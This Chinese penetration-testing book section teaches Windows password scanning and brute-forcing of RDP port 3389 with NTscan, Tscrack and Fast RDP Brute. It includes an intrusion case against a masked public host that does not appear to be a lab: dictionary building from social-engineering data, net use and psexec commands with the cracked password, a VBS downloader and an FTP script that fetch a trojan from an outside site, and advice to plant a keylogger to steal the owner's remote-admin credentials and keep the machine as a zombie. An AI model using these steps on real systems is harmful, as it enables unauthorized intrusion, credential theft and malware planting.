2.4 Windows口令扫描及3389口令暴力破解
在Windows操作系统渗透过程中,除了SQL注入、Web服务漏洞攻击等方式外,还有一种攻击方式,即暴力破解。通过对3389或者内网的服务器进行口令扫描攻击,可以获取更多的服务器权限。这种攻击经常发生在拥有一台或者多台服务器权限后。目前常用的口令扫描工具有Hscan、NTscan等。本节主要介绍如何进行口令扫描,以及如何利用Tscrack、Fast RDP Brute等工具软件来暴力破解3389口令,最终获取服务器权限。
2.4.1 口令扫描准备工作
在进行口令扫描前需要做一些准备工作,收集的信息越多,越有可能成功获取内网服务器权限。例如,在掌握一定的权限后,通过邮箱账号等信息进行社工密码收集,对用户的密码进行规律分析和社工字典生成。
① 确定需要扫描的IP地址或者IP地址段。
② 收集用户名和密码。尽管以Administrator为用户名的情况较多,但在内网中,很多用户都喜欢使用个性化的名字,因此需要收集一些用户名。密码字典的整理尤其重要,包括网站使用过的密码、社工库邮件地址或者通过用户名查询到的密码、公司名称、电话号码、出生日期、手机号码、QQ号码等。
③ 编辑密码和口令配置文件。
2.4.2 使用NTscan扫描口令
Windows口令扫描攻击主要针对某个IP地址或者某个网段进口令扫描,实质是通过139、445等端口尝试建立连接,利用的是DOS命令“net use\\\ipaddress\admin$ "password"/u:user”,只不过通过程序来实现而已。下面的案例通过扫描软件NTscan来扫描口令,在得到口令后成功地实施了控制。
1.设置NTscan
直接运行NTscan,在NTscan中一般只需要设置开始和结束IP地址,其他设置均可采用默认,如图2-18所示。
图2-18 设置NTscan
说明
如果是在肉机上精细管理扫描,由于语言版本的不同,如果操作系统不支持中文,就有可能显示为乱码,这个时候就只能凭熟悉度来进行设置了。本例是在英文操作系统中使用NTscan,在其运行界面中一些汉字虽然显示为“? ”,但是不影响扫描,如图2-19所示。
图2-19 NTscan乱码显示
在NTscan中有IPC、SMB和WMI共3种扫描方式,第1种和第3种方式扫描口令较为有效,第2种主要用来扫描共享文件。利用IPC$可以与目标主机建立一个空的连接而无须用户名与密码,而且可以得到目标主机上的用户列表。SMB(服务器信息块)协议是一种IBM协议,用于在计算机间共享文件、打印机、串口等。SMB协议可以用在因特网的TCP/IP协议之上,也可以用在其他网络协议(例如IPX和NetBEUI)之上。
WMI(Windows管理规范)是Windows的一项核心管理技术。WMI作为一种规范和基础结构,可以访问、配置、管理和监视几乎所有的Windows资源。例如,用户可以在远程计算机器上启动一个进程,设定一个在特定日期和时间运行的进程,远程启动计算机,获得本地或远程计算机中已安装程序的列表,查询本地或远程计算机的Windows事件日志等。一般情况下,在本地计算机上执行的WMI操作也可以在远程计算机上执行,只要用户拥有该计算机的管理员权限即可。如果用户对远程计算机拥有权限且远程计算机支持远程访问,那么用户就可以连接该远程计算机并执行相应权限的操作了。
2.执行扫描
在NTscan界面中单击“开始”按钮或者单击左窗口下方的第1个按钮(如果显示为乱码),开始扫描,如图2-20所示。
图2-20 扫描口令
说明
NTscan扫描口令与字典有关,其原理是将字典中的口令与实际口令进行对比,如果相同即可建立连接(即破解成功)。破解成功后会在下方显示提示信息。
NTscan的字典文件为NT_pass.dic,用户文件为NT_user.dic,可以根据实际情况对字典文件和用户文件内容进行修改。
NTscan扫描结束后,会在NTscan程序的当前目录下生成一个NTscan.txt文件,该文件中记录了扫描结果,如图2-21所示。
图2-21 NTscan扫描记录文件
在NTscan中还有一些辅助功能,例如单击右键后可以在弹出的快捷菜单中执行“连接”、“打开远程登录”及“映射网络驱动器”等命令,如图2-22所示。
图2-22 NTscan辅助功能
3.实施控制
在DOS命令提示符下输入“net use\\\221.*.*.*\admin$ "mrs6100"/u:administrator”命令,获取主机的管理员权限。命令执行成功,如图2-23所示。
图2-23 建立连接
4.执行psexec命令
输入“psexec\\\221.*.*.* cmd”命令获取一个DosShell,如图2-24所示。
图2-24 获取DOSShell
说明
以上两步可以合并,直接在DOS命令提示符下输入“psexec\\\ipaddress-u administrator-ppassword cmd”命令。例如,在上例中可以输入“psexec\\\221.*.*.*-u Administrator-pmrs6100 cmd”命令来获取一个DOS下的Shell。
在有些情况下,“psexec\\\ipaddress-u administrator-ppassword cmd”命令无法正常执行。
5.从远端查看被入侵计算机的端口开放情况
使用“sfind-p 221.*.*.*”命令查看远程主机端口开放情况,该主机仅开放了4899端口,如图2-25所示。
图2-25 查看端口开放情况
6.上传文件
在该DOSShell下执行文件下载命令,将一些工具软件或者木马软件上传到被攻击计算机中,如图2-26所示。
图2-26 上传文件
说明
可以使用以下vbs脚本命令上传文件。
echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft. xmlhttp") >>dl.vbe echo web.open "get", .arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile. arguments(1),2:end with >>dl.vbe cscript dl.vbe http://www.mymuma.com/software/systeminfo.exe systeminfo.exe
如果不能通过执行vbs脚本上传文件,可以通过执行ftp命令上传文件。ftp命令如下。
echo open 192.168.1.1 >b echo ftp>>b echo ftp>>b echo bin>>b echo get systeminfo.exe >>b echo bye >>b ftp -s:b
7.查看主机基本信息
执行“systeminfo info”命令可以查看被入侵计算机的基本信息(该计算机操作系统为Windows 2000 Professional),如图2-27所示。
图2-27 查看主机基本信息
8.进行渗透
在本案例中,由于对方计算机安装有Radmin,因此极有可能保留了Radmin的控制信息。通过“开始”→“程序”→“Remote Administrator v2.2”→“Remote Administrator viewer”选项打开Radmin 2.0的客户端控制器,其中有两个IP地址,如图2-28所示,不过不知道连接密码。安装一个键盘记录工具,等待用户自己连接。监听到用户的键盘记录后,就可以将用户的控制端作为肉机了(这种肉机质量很高)。
图2-28 获取Radmin控制端信息
2.4.3 使用Tscrack扫描3389口令
3389终端攻击主要通过3389破解登录器(Tscrack)实现。Tscrack是微软远程终端服务(3389)的测试产品,后来有人将其做了一些修改,可以用来破解3389口令。其核心原理是利用字典配合远程终端登录器尝试登录,一旦登录成功,则认为破解成功。破解成功于否主要取决于字典强度和时间长度。在成功进入内网后,借助该方法可以对内网3389服务器进行渗透。该方法对Windows 2000 Server的攻击效果较好。
1.安装Tscrack软件
初次运行Tscrack时需要进行安装(直接运行tscrack.exe程序)。如果不能正常运行,则需要运行“tscrack-U”命令卸载Tscrack中的组件以后再运行tscrack.exe。运行成功后,会提示安装组件、解压缩组件、注册组件成功,如图2-29所示。
图2-29 安装Tscrack程序
2.寻找开放3389端口的IP地址
在DOS提示符下输入“sfind-p 220.*.*.*”,探测其端口开放情况,如图2-30所示。
图2-30 探测端口
3.构建字典文件
构建字典文件100words.txt,在其中加入破解口令,每个口令占用一行,且行尾无空格。编辑完成后,如图2-31所示。
图2-31 构建字典文件
4.编辑破解命令
如果仅对单个IP地址进行破解,其破解命令格式为“tscrack ip-w 100words.txt”。如果是对多个IP地址进行破解,则可以将IP地址整理成一个TXT文件,每个IP地址占一行,且行尾无空格,将其保存为ip.txt,然后编辑一个批命令,如图2-32所示。
图2-32 编辑破解命令
说明
·程序tscrack.exe可以被更改为任意名称。100words.txt也可以是任意名称。
·如果是对多个IP地址进行破解,则字典文件不能太大,否则破解时间会很长。建议针对单一的IP地址进行破解。
5.破解3389口令
运行批命令后,远程终端破解程序开始破解。Tscrack会使用字典中的口令逐一进行尝试,程序自动输入密码,如图2-33所示。在程序破解过程中不要进行手动干涉,要让程序自动进行破解。
图2-33 破解口令
6.破解成功
破解成功后,程序会自动结束,显示破解的口令和破解该口令所花费的时间,如图2-34所示。
图2-34 口令破解成功
说明
· Tscrack破解3389终端口令后不会生成日志文件,破解的口令显示在DOS窗口中,一旦DOS窗口关闭,所有结果都不会保存。
·如果是对多个IP地址进行3389终端口令破解,Tscrack程序会对所有IP地址进行破解尝试后才停止。
· Tscrack破解3389终端口令所对应的用户只能是Administrator,对其他用户无能为力。
7.使用口令登录
运行mstsc.exe,打开终端连接器,输入IP地址进行连接。在3389连接界面中输入刚才得到的密码和Administrator用户,连接成功,如图2-35所示。
图2-35 进入远程终端桌面
8.总结
本案例通过Tscrack程序来破解远程终端(3389)的口令,只要字典足够强大、时间足够长,如果对方未采取IP地址登录限制等安全措施,则其口令在理论上是可以破解的。不过,在微软发布升级补丁后,该方法仅对Window 2000 Server效果较好,对Windows Server 2003及以上版本效果不佳。应对3389远程终端口令破解的安全措施是进行IP地址信任连接,或者通过一些软件来限制只有某些IP地址才能访问远程终端。
2.4.4 使用Fast RDP Brute暴力破解3389口令
1.软件简介
Fast RDP Brute是俄罗斯的Roleg开发的一款暴力破解工具,主要用于扫描远程桌面、连接弱口令,其官方网站下载地址为http://stascorp.com/load/1-1-0-58。运行软件后,界面如图2-36所示。
图2-36 程序主界面
2.设置主要参数
· Max threads:设置扫描线程数,默认为1000,一般不用修改。
· Scan timeout:设置超时时间,默认为2000,一般不用修改。
· Thread timeout:设置线程超时时间,默认为60000,一般不用修改。
· Scan ports:设置要扫描的端口,根据实际情况设置,默认为3389、3390和3391。在实际扫描过程中,如果是对某个已知IP地址和端口进行扫描,建议删除多余端口。例如,已知对方端口为3388,则只保留3388即可。
· IP ranges to scan:设置扫描的IP地址范围。
用户名和密码可以在文件夹中的user.txt和pass.txt文件内自行设置。如图2-37所示,在默认的user.txt中包含俄文的管理员信息,一般用不上,可以根据实际情况进行设置。
图2-37 设置暴力破解的用户名和密码字典
3.局域网扫描测试
本次测试采用VMware搭建了两个平台。扫描主机IP地址为192.168.148.128;被扫描主机IP地址为192.168.148.132,操作系统为Windows Server 2003,开放3389端口。在该服务器上新建立test、antian365用户,并将设置的密码复制到扫描字典中,单击“Start Scan”按钮进行扫描,扫描结果如图2-38所示。
图2-38 扫描成果
注意
· 192.168.148.132服务器必须开启3389端口。
·在扫描服务器上执行mstsc命令,输入IP地址192.168.148.132进行3389登录测试,看看能否访问网络。如果无法访问网络,扫描就无效。
4.总结与思考
该软件虽然提供了多个用户同时扫描的机制,但只要扫描出一个结果,软件就停止扫描。对于多用户扫描,可以在扫描出结果后,将已经扫描出来的用户删除,然后继续进行扫描,或者针对单个用户进行扫描。
扫描时间过长或者连接次数较多时,会显示“too many errors”错误,如图2-39所示。
图2-39 扫描错误
该软件可以对单个用户进行已知密码扫描。在已经获取内网权限的情况下,可以对整个网络开放3389端口的主机进行扫描,以获取权限。
对DUBrute V4.2 RC进行3389密码暴力破解测试,测试环境同上,实际测试结果为无法破解。